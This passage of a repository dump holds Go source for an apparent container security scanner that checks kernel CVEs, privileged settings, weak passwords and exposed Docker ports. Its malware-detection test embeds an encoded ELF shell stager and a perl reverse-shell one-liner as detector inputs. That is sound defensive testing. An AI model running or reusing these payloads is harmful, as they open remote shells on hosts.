{\n\t\tlog.Printf(\"check CNI failed, %v\", err)\n\t}\n\n\tsortSeverity(ks.VulnConfigures)\n\n\treturn nil\n}\n\n// checkDockerVersion check docker server version\nfunc checkDockerVersion(cli vulnlib.Client, serverVersion string) (bool, []*threat) {\n\tlog.Printf(config.Yellow(\"Begin docker version analyzing\"))\n\n\tvar vuln = false\n\n\ttlist := []*threat{}\n\n\trows, err := cli.QueryVulnByName(\"docker\")\n\tif err != nil {\n\t\treturn vuln, tlist\n\t}\n\n\tfor _, row := range rows {\n\t\tif compareVersion(serverVersion, row.MaxVersion, row.MinVersion) {\n\t\t\tth := &threat{\n\t\t\t\tParam:     \"Docker server\",\n\t\t\t\tValue:     serverVersion,\n\t\t\t\tType:      \"K8s version less than v1.24\",\n\t\t\t\tDescribe:  fmt.Sprintf(\"Docker server version is threated under the %s\", row.CVEID),\n\t\t\t\tReference: row.Description,\n\t\t\t\tSeverity:  strings.ToLower(row.Level),\n\t\t\t}\n\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\t}\n\t}\n\n\treturn vuln, tlist\n}\n\n// checkKernelVersion check kernel version for whether the kernel version\n// is under the vulnerable version which has a potential container escape\n// such as Dirty Cow,Dirty Pipe\nfunc checkKernelVersion(cli vulnlib.Client, kernelVersion osrelease.KernelVersion) (bool, []*threat) {\n\tvar vuln = false\n\n\ttlist := []*threat{}\n\n\tvar vulnKernelVersion = map[string]string{\n\t\t\"CVE-2016-5195\":  \"Dirty Cow\",\n\t\t\"CVE-2020-14386\": \"CVE-2020-14386 with CAP_NET_RAW\",\n\t\t\"CVE-2021-22555\": \"CVE-2021-22555 kernel-netfilter\",\n\t\t\"CVE-2022-0847\":  \"Dirty Pipe\",\n\t\t\"CVE-2022-0185\":  \"CVE-2022-0185 with CAP_SYS_ADMIN\",\n\t\t\"CVE-2022-0492\":  \"CVE-2022-0492 with CAP_SYS_ADMIN and v1 architecture of cgroups\"}\n\n\tlog.Printf(config.Yellow(\"Begin kernel version analyzing\"))\n\tfor cve, nickname := range vulnKernelVersion {\n\t\tvar maxVersion, publishDate string\n\t\tunderVuln := false\n\n\t\trows, err := cli.QueryVulnByCVEID(cve)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"faield to search database, error: %v\", err)\n\t\t\tbreak\n\t\t}\n\n\t\tfor _, row := range rows {\n\n\t\t\t// The data of CVE-2016-5195 is not correct\n\t\t\tif cve == \"CVE-2016-5195\" {\n\t\t\t\trow.MaxVersion = \"4.8.3\"\n\t\t\t}\n\n\t\t\tif compareVersion(kernelVersion.Version, row.MaxVersion, row.MinVersion) && row.VulnName == \"linux_kernel\" {\n\t\t\t\tvuln, underVuln = true, true\n\t\t\t\tmaxVersion = row.MaxVersion\n\t\t\t\tpublishDate = row.PublishDate\n\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif underVuln {\n\t\t\tth := &threat{\n\t\t\t\tParam: \"kernel version\",\n\t\t\t\tValue: kernelVersion.Version,\n\t\t\t\tType:  \"K8s version less than v1.24\",\n\t\t\t\tDescribe: fmt.Sprintf(\"Kernel version is suffering the %s vulnerablility below the version `%s`, \",\n\t\t\t\t\tnickname, strings.TrimPrefix(maxVersion, \"=\")),\n\t\t\t\tReference: \"Update kernel version or docker-desktop.\",\n\t\t\t\tSeverity:  \"critical\",\n\t\t\t}\n\n\t\t\tpb, _ := time.Parse(\"2006-01-02\", publishDate)\n\n\t\t\tif kernelVersion.BuiltDate.After(pb) {\n\t\t\t\tth.Describe += fmt.Sprintf(\"but it was compiled on %s, \"+\n\t\t\t\t\t\"which is later than the date of vulnerability on %s.\",\n\t\t\t\t\tkernelVersion.BuiltDate.Format(\"2006-01-02\"), publishDate)\n\t\t\t\tth.Severity = \"low\"\n\t\t\t} else {\n\t\t\t\tth.Describe += \"which has a potential container escape.\"\n\t\t\t}\n\n\t\t\ttlist = append(tlist, th)\n\t\t}\n\t}\n\n\treturn vuln, tlist\n}\n"
  },
  {
    "path": "internal/analyzer/analyze_test.go",
    "content": "package analyzer\n\nimport (\n\t\"reflect\"\n\t\"testing\"\n)\n\nfunc TestSortSeverity(t *testing.T) {\n\ttype args struct {\n\t\tthreats []*threat\n\t}\n\ttests := []struct {\n\t\tname string\n\t\targs args\n\t}{\n\t\t{\n\t\t\tname: \"sort_test_1\",\n\t\t\targs: args{threats: []*threat{{Severity: \"high\"}, {Severity: \"low\"}, {Severity: \"critical\"}}},\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tsortSeverity(tt.args.threats)\n\t\t})\n\t}\n}\n\nfunc TestWeakPassword(t *testing.T) {\n\ttype args struct {\n\t\tp string\n\t}\n\n\ttests := []struct {\n\t\tname    string\n\t\targs    args\n\t\twant    string\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\tname: \"weakPassword\",\n\t\t\targs: args{p: \"root\"},\n\t\t\twant: \"Weak\",\n\t\t},\n\t\t{\n\t\t\tname: \"weakPassword\",\n\t\t\targs: args{p: \"Password123\"},\n\t\t\twant: \"Weak\",\n\t\t},\n\t\t{\n\t\t\tname: \"strongPassword\",\n\t\t\targs: args{p: \"dDjwC3m^BFXz6B#a\"},\n\t\t\twant: \"Strong\",\n\t\t},\n\t\t{\n\t\t\tname: \"strongConfusionPassword\",\n\t\t\targs: args{p: \"ior7LLvMsAujin3Y\"},\n\t\t\twant: \"Strong\",\n\t\t},\n\t\t{\n\t\t\tname: \"mediumPassword\",\n\t\t\targs: args{p: \"plDAYh\"},\n\t\t\twant: \"Medium\",\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot := checkWeakPassword(tt.args.p)\n\t\t\tif !reflect.DeepEqual(got, tt.want) {\n\t\t\t\tt.Errorf(\"checkWeakPassword() got = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n\n}\n\nfunc TestMalware(t *testing.T) {\n\ttype args struct {\n\t\tcommand string\n\t}\n\n\ttests := []struct {\n\t\tname    string\n\t\targs    args\n\t\twant    MalReporter\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\tname: \"ELF base64\",\n\t\t\targs: args{command: \"XHg3Rlx4NDVceDRDXHg0Nlx4MDFceDAxXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDJceDAwXHgwM1x4MDBceDAxXHgwMFx4MDBceDAwXHg1NFx4ODBceDA0XHgwOFx4MzRceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MzRceDAwXHgyMFx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4ODBceDA0XHgwOFx4MDBceDgwXHgwNFx4MDhceENGXHgwMFx4MDBceDAwXHg0QVx4MDFceDAwXHgwMFx4MDdceDAwXHgwMFx4MDBceDAwXHgxMFx4MDBceDAwXHg2QVx4MEFceDVFXHgzMVx4REJceEY3XHhFM1x4NTNceDQzXHg1M1x4NkFceDAyXHhCMFx4NjZceDg5XHhFMVx4Q0RceDgwXHg5N1x4NUJceDY4XHhDMFx4QThceDEzXHhGM1x4NjhceDAyXHgwMFx4MTFceDVDXHg4OVx4RTFceDZBXHg2Nlx4NThceDUwXHg1MVx4NTdceDg5XHhFMVx4NDNceENEXHg4MFx4ODVceEMwXHg3OVx4MTlceDRFXHg3NFx4M0RceDY4XHhBMlx4MDBceDAwXHgwMFx4NThceDZBXHgwMFx4NkFceDA1XHg4OVx4RTNceDMxXHhDOVx4Q0RceDgwXHg4NVx4QzBceDc5XHhCRFx4RUJceDI3XHhCMlx4MDdceEI5XHgwMFx4MTBceDAwXHgwMFx4ODlceEUzXHhDMVx4RUJceDBDXHhDMVx4RTNceDBDXHhCMFx4N0RceENEXHg4MFx4ODVceEMwXHg3OFx4MTBceDVCXHg4OVx4RTFceDk5XHhCMlx4NkFceEIwXHgwM1x4Q0RceDgwXHg4NVx4QzBceDc4XHgwMlx4RkZceEUxXHhCOFx4MDFceDAwXHgwMFx4MDBceEJCXH==\"},\n\t\t\twant: MalReporter{\n\t\t\t\tTypes: Executable,\n\t\t\t\tScore: 0.9,\n\t\t\t\tPlain: \"ELF LSB executable binary\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"Reverse shell\",\n\t\t\targs: args{command: \"perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\\\"127.0.0.1:9999\\\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'\"},\n\t\t\twant: MalReporter{\n\t\t\t\tTypes: Confusion,\n\t\t\t\tScore: 0.99,\n\t\t\t\tPlain: \"perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socke\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"Normal environment\",\n\t\t\targs: args{command: \"SPq$b6^vuY8Bo2dM\"},\n\t\t\twant: MalReporter{\n\t\t\t\tTypes: Unknown,\n\t\t\t\tScore: 0.0,\n\t\t\t\tPlain: \"SPq$b6^vuY8Bo2dM\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"Normal $PATH environment\",\n\t\t\targs: args{command: \"/usr/local/share/luajit-2.1.0-beta3/?.lua;/usr/local/share/lua/5.1/?.lua;/usr/local/lib/lua/?.lua;;\"},\n\t\t\twant: MalReporter{\n\t\t\t\tTypes: Unknown,\n\t\t\t\tScore: 0.0,\n\t\t\t\tPlain: \"\",\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot := maliciousContentCheck(tt.args.command)\n\t\t\tif !reflect.DeepEqual(got, tt.want) {\n\t\t\t\tt.Errorf(\"maliciousContentCheck() got = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "internal/analyzer/docker.go",
    "content": "package analyzer\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/docker/docker/api/types\"\n\tversion2 \"github.com/hashicorp/go-version\"\n\t_config \"github.com/kvesta/vesta/config\"\n\t_image \"github.com/kvesta/vesta/pkg/inspector\"\n\t\"github.com/kvesta/vesta/pkg/osrelease\"\n\t\"github.com/kvesta/vesta/pkg/vulnlib\"\n\t\"github.com/tidwall/gjson\"\n)\n\nfunc (s *Scanner) checkDockerContext(ctx context.Context, images []*_image.ImageInfo) error {\n\n\tcli := vulnlib.Client{}\n\terr := cli.Init()\n\n\tif err != nil {\n\t\tlog.Printf(\"failed to init database, error: %v\", err)\n\t} else {\n\t\tdefer cli.DB.Close()\n\t}\n\n\t// Checking kernel version\n\tkernelVersion, err := osrelease.GetKernelVersion(context.Background())\n\tif err != nil {\n\t\tlog.Printf(\"failed to get kernel version: %v\", err)\n\t}\n\n\t// Checking the docker swarm\n\terr = s.checkSwarm()\n\tif err != nil {\n\t\tlog.Printf(\"docker swarm error: %v\", err)\n\t}\n\n\tif ok, tlist := checkKernelVersion(cli, kernelVersion); ok {\n\t\tct := &container{\n\t\t\tContainerID:   \"None\",\n\t\t\tContainerName: \"Kernel\",\n\t\t\tThreats:       tlist,\n\t\t}\n\n\t\ts.VulnContainers = append(s.VulnContainers, ct)\n\t}\n\n\t// Check Docker server version\n\tif ok, tlist := checkDockerVersion(cli, s.ServerVersion); ok {\n\t\tct := &container{\n\t\t\tContainerID:   \"None\",\n\t\t\tContainerName: \"Server Version\",\n\t\t\tThreats:       tlist,\n\t\t}\n\n\t\ts.VulnContainers = append(s.VulnContainers, ct)\n\t}\n\n\t// Check 2375 unauthorized\n\tif ok, tlist := checkDockerUnauthorized(); ok {\n\t\tct := &container{\n\t\t\tContainerID:   \"None\",\n\t\t\tContainerName: \"Docker 2375 port\",\n\t\t\tThreats:       tlist,\n\t\t}\n\n\t\ts.VulnContainers = append(s.VulnContainers, ct)\n\t}\n\n\t// Check the repo's tag\n\t// We found that it is hard to exploit\n\t/*\n\t\tif ok, tlist := checkImages(images); ok {\n\t\t\tct := &container{\n\t\t\t\tContainerID:   \"None\",\n\t\t\t\tContainerName: \"Image Tag\",\n\t\t\t\tThreats:       tlist,\n\t\t\t}\n\n\t\t\ts.VulnContainers = append(s.VulnContainers, ct)\n\t\t}\n\t*/\n\n\t// Check image's history\n\tif ok, tlist := CheckHistories(images); ok {\n\t\tct := &container{\n\t\t\tContainerID:   \"None\",\n\t\t\tContainerName: \"Image Configuration\",\n\t\t\tThreats:       tlist,\n\t\t}\n\n\t\ts.VulnContainers = append(s.VulnContainers, ct)\n\t}\n\n\treturn nil\n}\n\nfunc checkSwarmLabels(labels map[string]string, name, configType string) (bool, []*threat) {\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\tmatch := false\n\n\tfor k, v := range labels {\n\t\tfor _, p := range passKey {\n\t\t\tif p.MatchString(k) {\n\t\t\t\tmatch = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif match {\n\t\t\tswitch checkWeakPassword(v) {\n\t\t\tcase \"Weak\":\n\t\t\t\tth := &threat{\n\t\t\t\t\tParam:    configType + \" Label\",\n\t\t\t\t\tValue:    fmt.Sprintf(\"%s name: %s\", configType, name),\n\t\t\t\t\tDescribe: fmt.Sprintf(\"Lables '%s' has weak password: '%s'.\", k, v),\n\t\t\t\t\tSeverity: \"high\",\n\t\t\t\t}\n\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t\tvuln = true\n\t\t\tcase \"Medium\":\n\t\t\t\tth := &threat{\n\t\t\t\t\tParam: configType + \" Label\",\n\t\t\t\t\tValue: fmt.Sprintf(\"%s name: %s\", configType, name),\n\t\t\t\t\tDescribe: fmt.Sprintf(\"Lables '%s' password '%s' \"+\n\t\t\t\t\t\t\"need to be reinforced.\", k, v),\n\t\t\t\t\tSeverity: \"low\",\n\t\t\t\t}\n\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t\tvuln = true\n\t\t\t}\n\t\t}\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc (s *Scanner) checkSwarmSecrets() error {\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\tses, err := s.DApi.\n\t\tDCli.\n\t\tSecretList(context.Background(), types.SecretListOptions{})\n\n\tif err != nil {\n\t\tlog.Printf(\"failed to check docker config\")\n\t\treturn err\n\t}\n\n\t// TODO: check the content of the secret\n\n\tfor _, se := range ses {\n\t\tvuln, tlist = checkSwarmLabels(se.Spec.Labels, se.Spec.Name, \"Secret\")\n\t}\n\n\tif vuln {\n\t\tct := &container{\n\t\t\tContainerID:   \"None\",\n\t\t\tContainerName: \"Docker Swarm Secret\",\n\t\t\tThreats:       tlist,\n\t\t}\n\n\t\ts.VulnContainers = append(s.VulnContainers, ct)\n\t}\n\n\treturn nil\n}\n\nfunc (s *Scanner) checkSwarmConfigs() error {\n\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\tcons, err := s.DApi.\n\t\tDCli.\n\t\tConfigList(context.Background(), types.ConfigListOptions{})\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, con := range cons {\n\t\tconfigData := string(con.Spec.Data)\n\t\tdetect := maliciousContentCheck(configData)\n\t\tswitch detect.Types {\n\t\tcase Executable:\n\t\t\tth := &threat{\n\t\t\t\tParam: \"Config Data\",\n\t\t\t\tValue: fmt.Sprintf(\"Config name: %s\", con.Spec.Name),\n\t\t\t\tDescribe: fmt.Sprintf(\"Malicious value found in config Data \"+\n\t\t\t\t\t\"with the plain text '%s'.\", detect.Plain),\n\t\t\t\tSeverity: \"high\",\n\t\t\t}\n\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\n\t\tcase Confusion:\n\t\t\tth := &threat{\n\t\t\t\tParam: \"Config Data\",\n\t\t\t\tValue: fmt.Sprintf(\"Config name: %s\", con.Spec.Name),\n\t\t\t\tDescribe: fmt.Sprintf(\"Confusion value found in config Data \"+\n\t\t\t\t\t\"with the plain text '%s'.\", detect.Plain),\n\t\t\t\tSeverity: \"high\",\n\t\t\t}\n\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\n\t\tdefault:\n\t\t\t// ignore\n\t\t}\n\n\t\tvulnLabel, tlistLabel := checkSwarmLabels(con.Spec.Labels, con.Spec.Name, \"Config\")\n\n\t\tif vulnLabel {\n\t\t\tvuln = true\n\t\t\ttlist = append(tlist, tlistLabel...)\n\t\t}\n\n\t}\n\n\tif vuln {\n\t\tct := &container{\n\t\t\tContainerID:   \"None\",\n\t\t\tContainerName: \"Docker Swarm Config\",\n\t\t\tThreats:       tlist,\n\t\t}\n\n\t\ts.VulnContainers = append(s.VulnContainers, ct)\n\t}\n\n\treturn nil\n}\n\nfunc (s *Scanner) checkDockerService() error {\n\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\tsers, err := s.DApi.\n\t\tDCli.\n\t\tServiceList(context.Background(), types.ServiceListOptions{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, se := range sers {\n\t\t// Checking the swarm config\n\t\tfor _, c := range se.Spec.TaskTemplate.ContainerSpec.Configs {\n\t\t\tfor _, v := range s.VulnContainers {\n\t\t\t\tif strings.Contains(v.ContainerName, \"Docker Swarm Config\") {\n\t\t\t\t\tfor _, t := range v.Threats {\n\t\t\t\t\t\tif strings.HasSuffix(t.Value, c.ConfigName) {\n\t\t\t\t\t\t\tth := &threat{\n\t\t\t\t\t\t\t\tParam:    \"Swarm Service\",\n\t\t\t\t\t\t\t\tValue:    fmt.Sprintf(\"Service Name: %s\", se.Spec.Name),\n\t\t\t\t\t\t\t\tDescribe: fmt.Sprintf(\"Docker Service is using the unsafe swarm config: '%s'.\", c.ConfigName),\n\t\t\t\t\t\t\t\tSeverity: t.Severity,\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\t\t\tvuln = true\n\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\n\t\t// Checking the swarm secret\n\t\tfor _, secret := range se.Spec.TaskTemplate.ContainerSpec.Secrets {\n\t\t\tfor _, v := range s.VulnContainers {\n\t\t\t\tif strings.Contains(v.ContainerName, \"Docker Swarm Secret\") {\n\t\t\t\t\tfor _, t := range v.Threats {\n\t\t\t\t\t\tif strings.HasSuffix(t.Value, secret.File.Name) {\n\t\t\t\t\t\t\tth := &threat{\n\t\t\t\t\t\t\t\tParam:    \"Swarm Service\",\n\t\t\t\t\t\t\t\tValue:    fmt.Sprintf(\"Service Name: %s\", se.Spec.Name),\n\t\t\t\t\t\t\t\tDescribe: fmt.Sprintf(\"Docker Service is using the unsafe swarm secret: '%s'.\", secret.File.Name),\n\t\t\t\t\t\t\t\tSeverity: t.Severity,\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\t\t\tvuln = true\n\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif vuln {\n\t\tct := &container{\n\t\t\tContainerID:   \"None\",\n\t\t\tContainerName: \"Docker Swarm Service\",\n\t\t\tThreats:       tlist,\n\t\t}\n\n\t\ts.VulnContainers = append(s.VulnContainers, ct)\n\t}\n\n\treturn nil\n}\n\nfunc (s *Scanner) checkSwarm() error {\n\n\t_, err := s.DApi.\n\t\tDCli.\n\t\tServiceList(context.Background(), types.ServiceListOptions{})\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"This node is not a swarm manager\") {\n\t\t\treturn nil\n\t\t}\n\n\t\treturn err\n\t}\n\n\tlog.Printf(_config.Yellow(\"Begin docker swarm analyzing\"))\n\n\terr = s.checkSwarmConfigs()\n\n\terr = s.checkSwarmSecrets()\n\n\terr = s.checkDockerService()\n\tif err != nil {\n\t\tlog.Printf(\"failed to check docker service\")\n\t}\n\n\treturn err\n}\n\nfunc checkPrivileged(config *types.ContainerJSON) (bool, []*threat) {\n\n\tvar vuln = false\n\n\ttlist := []*threat{}\n\n\tcapList, highestSeverity := \"\", \"medium\"\n\n\tfor _, capadd := range config.HostConfig.CapAdd {\n\t\tfor c, s := range dangerCaps {\n\t\t\tif capadd == c {\n\t\t\t\tcapList += capadd + \" \"\n\t\t\t\tif _config.SeverityMap[s] > _config.SeverityMap[highestSeverity] {\n\t\t\t\t\thighestSeverity = s\n\t\t\t\t}\n\n\t\t\t\tvuln = true\n\t\t\t}\n\t\t}\n\n\t\tif capadd == \"CAP_DAC_READ_SEARCH\" {\n\t\t\tth := &threat{\n\t\t\t\tParam:    \"CapAdd\",\n\t\t\t\tValue:    \"CAP_DAC_READ_SEARCH\",\n\t\t\t\tDescribe: \"There has a potential arbitrary file leakage.\",\n\t\t\t\tSeverity: \"medium\",\n\t\t\t}\n\t\t\ttlist = append(tlist, th)\n\t\t}\n\t}\n\n\tif vuln {\n\t\tth := &threat{\n\t\t\tParam:    \"CapAdd\",\n\t\t\tValue:    capList,\n\t\t\tDescribe: \"There has a potential container escape in privileged module.\",\n\t\t\tSeverity: highestSeverity,\n\t\t}\n\t\ttlist = append(tlist, th)\n\t}\n\n\tif config.HostConfig.Privileged {\n\t\tth := &threat{\n\t\t\tParam:    \"Privileged\",\n\t\t\tValue:    \"true\",\n\t\t\tDescribe: \"There has a potential container escape in privileged module.\",\n\t\t\tSeverity: \"critical\",\n\t\t}\n\t\ttlist = append(tlist, th)\n\t\tvuln = true\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc checkMount(config *types.ContainerJSON) (bool, []*threat) {\n\n\tvar vuln = false\n\n\tmounts := config.Mounts\n\ttlist := []*threat{}\n\n\tfor _, mount := range mounts {\n\n\t\tif isVuln := checkMountPath(mount.Source); isVuln {\n\t\t\tth := &threat{\n\t\t\t\tParam: \"Mount\",\n\t\t\t\tValue: mount.Source,\n\t\t\t\tDescribe: fmt.Sprintf(\"Mount '%s' in '%s' is suffer vulnerable of \"+\n\t\t\t\t\t\"container escape.\", mount.Source, mount.Destination),\n\t\t\t\tSeverity: \"critical\",\n\t\t\t}\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\t}\n\n\t}\n\treturn vuln, tlist\n}\n\nfunc checkEnvPassword(config *types.ContainerJSON) (bool, []*threat) {\n\tvar vuln = false\n\tvar password string\n\n\ttlist := []*threat{}\n\timageVersion := config.Config.Image\n\n\t// Check weakness password\n\tif strings.Contains(imageVersion, \"mysql\") ||\n\t\tstrings.Contains(imageVersion, \"postgres\") {\n\n\t\tmysqlReg := regexp.MustCompile(`MYSQL_ROOT_PASSWORD=(.*)`)\n\t\tpostgReqs := regexp.MustCompile(`POSTGRES_PASSWORD=(.*)`)\n\n\t\tenv := config.Config.Env\n\t\tfor _, e := range env {\n\t\t\tmysqlPass := mysqlReg.FindStringSubmatch(e)\n\t\t\tpostPass := postgReqs.FindStringSubmatch(e)\n\t\t\tif len(mysqlPass) > 1 {\n\t\t\t\tpassword = mysqlPass[1]\n\t\t\t} else if len(postPass) > 1 {\n\t\t\t\tpassword = postPass[1]\n\t\t\t} else {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tswitch checkWeakPassword(password) {\n\t\t\tcase \"Weak\":\n\t\t\t\tth := &threat{\n\t\t\t\t\tParam:    \"Weak Password\",\n\t\t\t\t\tValue:    fmt.Sprintf(\"Password: '%s'\", password),\n\t\t\t\t\tDescribe: fmt.Sprintf(\"%s has weak password: '%s'.\", imageVersion, password),\n\t\t\t\t\tSeverity: \"high\",\n\t\t\t\t}\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t\tvuln = true\n\t\t\tcase \"Medium\":\n\t\t\t\tth := &threat{\n\t\t\t\t\tParam: \"Password need to be reinforced\",\n\t\t\t\t\tValue: fmt.Sprintf(\"Password: '%s'\", password),\n\t\t\t\t\tDescribe: fmt.Sprintf(\"%s password '%s' \"+\n\t\t\t\t\t\t\"need to be reinforced.\", imageVersion, password),\n\t\t\t\t\tSeverity: \"low\",\n\t\t\t\t}\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t\tvuln = true\n\t\t\t}\n\t\t}\n\n\t} else if strings.Contains(imageVersion, \"redis\") {\n\t\targs := config.Args\n\n\t\trequirepass := false\n\t\tfor _, arg := range args {\n\n\t\t\tif strings.Contains(arg, \"--requirepass\") {\n\t\t\t\trequirepass = true\n\t\t\t}\n\n\t\t\tif requirepass {\n\t\t\t\tpassword := arg\n\t\t\t\tswitch checkWeakPassword(password) {\n\t\t\t\tcase \"Weak\":\n\t\t\t\t\tth := &threat{\n\t\t\t\t\t\tParam:    \"Weak Password\",\n\t\t\t\t\t\tValue:    fmt.Sprintf(\"Password: '%s'\", password),\n\t\t\t\t\t\tDescribe: fmt.Sprintf(\"Redis has weak password: '%s'.\", password),\n\t\t\t\t\t\tSeverity: \"high\",\n\t\t\t\t\t}\n\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\tvuln = true\n\t\t\t\tcase \"Medium\":\n\t\t\t\t\tth := &threat{\n\t\t\t\t\t\tParam: \"Password need to be reinforced\",\n\t\t\t\t\t\tValue: fmt.Sprintf(\"Password: '%s'\", password),\n\t\t\t\t\t\tDescribe: fmt.Sprintf(\"Redis password '%s' \"+\n\t\t\t\t\t\t\t\"need to be reinforced.\", password),\n\t\t\t\t\t\tSeverity: \"medium\",\n\t\t\t\t\t}\n\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\tvuln = true\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t}\n\n\treturn vuln, tlist\n}\n\n// checkNetworkModel check container network model\n//reference: https://github.com/containerd/containerd/security/advisories/GHSA-36xw-fx78-c5r4\nfunc checkNetworkModel(config *types.ContainerJSON, version string) (bool, []*threat) {\n\tvar vuln = false\n\n\ttlist := []*threat{}\n\n\tif config.HostConfig.NetworkMode == \"host\" {\n\t\tcurrentVersion, _ := version2.NewVersion(version)\n\t\tmaxVersion, _ := version2.NewVersion(\"1.3.7\")\n\n\t\tif currentVersion.Compare(maxVersion) <= 0 || version == \"1.4.1\" || version == \"1.4.0\" {\n\t\t\tth := &threat{\n\t\t\t\tParam: \"network\",\n\t\t\t\tValue: \"host\",\n\t\t\t\tDescribe: fmt.Sprintf(\"Containerd version is %s lower than 1.3.7 or 1.4.1\"+\n\t\t\t\t\t\" is suffer vulnerable of CVE-2020-15257.\", version),\n\t\t\t\tReference: \"https://github.com/containerd/containerd/security/advisories/GHSA-36xw-fx78-c5r4\",\n\t\t\t\tSeverity:  \"critical\",\n\t\t\t}\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\t}\n\n\t\tif !vuln {\n\t\t\tth := &threat{\n\t\t\t\tParam: \"network\",\n\t\t\t\tValue: \"host\",\n\t\t\t\tDescribe: \"Docker container is running with `--net=host`, \" +\n\t\t\t\t\t\"which will exposed the network of physical machine.\",\n\t\t\t\tSeverity: \"medium\",\n\t\t\t}\n\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\t}\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc checkPid(config *types.ContainerJSON) (bool, []*threat) {\n\tvar vuln = false\n\n\ttlist := []*threat{}\n\n\tif config.HostConfig.PidMode == \"host\" {\n\t\tth := &threat{\n\t\t\tParam: \"pid\",\n\t\t\tValue: \"host\",\n\t\t\tDescribe: \"Docker container is run with `--pid=host`, \" +\n\t\t\t\t\"which attackers can see all the processes in physical machine\" +\n\t\t\t\t\" and cause the potential container escape.\",\n\t\t\tSeverity: \"high\",\n\t\t}\n\n\t\ttlist = append(tlist, th)\n\t\tvuln = true\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc checkImageUsed(config *types.ContainerJSON, vulnContainers []*container) (bool, []*threat) {\n\tvar vuln = false\n\n\ttlist := []*threat{}\n\n\timageMixed := strings.Split(config.Image, \":\")\n\timageID := imageMixed[1][:12]\n\tfor _, v := range vulnContainers {\n\t\tif strings.Contains(v.ContainerName, \"Image Configuration\") {\n\t\t\tfor _, ids := range v.Threats {\n\t\t\t\tif strings.Contains(ids.Value, imageID) {\n\t\t\t\t\tth := &threat{\n\t\t\t\t\t\tParam:    \"Dangerous image\",\n\t\t\t\t\t\tValue:    fmt.Sprintf(\"Image ID: %s\", imageID),\n\t\t\t\t\t\tDescribe: \"Docker container used dangerous image.\",\n\t\t\t\t\t\tSeverity: ids.Severity,\n\t\t\t\t\t}\n\n\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\tvuln = true\n\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc checkDockerUnauthorized() (bool, []*threat) {\n\tlog.Printf(_config.Yellow(\"Begin unauthorized analyzing\"))\n\n\tvar vuln = false\n\n\ttlist := []*threat{}\n\n\tclient := &http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t},\n\t}\n\tvar request *http.Request\n\n\trequest, err := http.NewRequest(\"GET\", \"http://0.0.0.0:2375/info\", nil)\n\tif err != nil {\n\t\treturn vuln, tlist\n\t}\n\n\tresp, err := client.Do(request)\n\n\tif err != nil {\n\t\treturn vuln, tlist\n\t}\n\n\tdefer 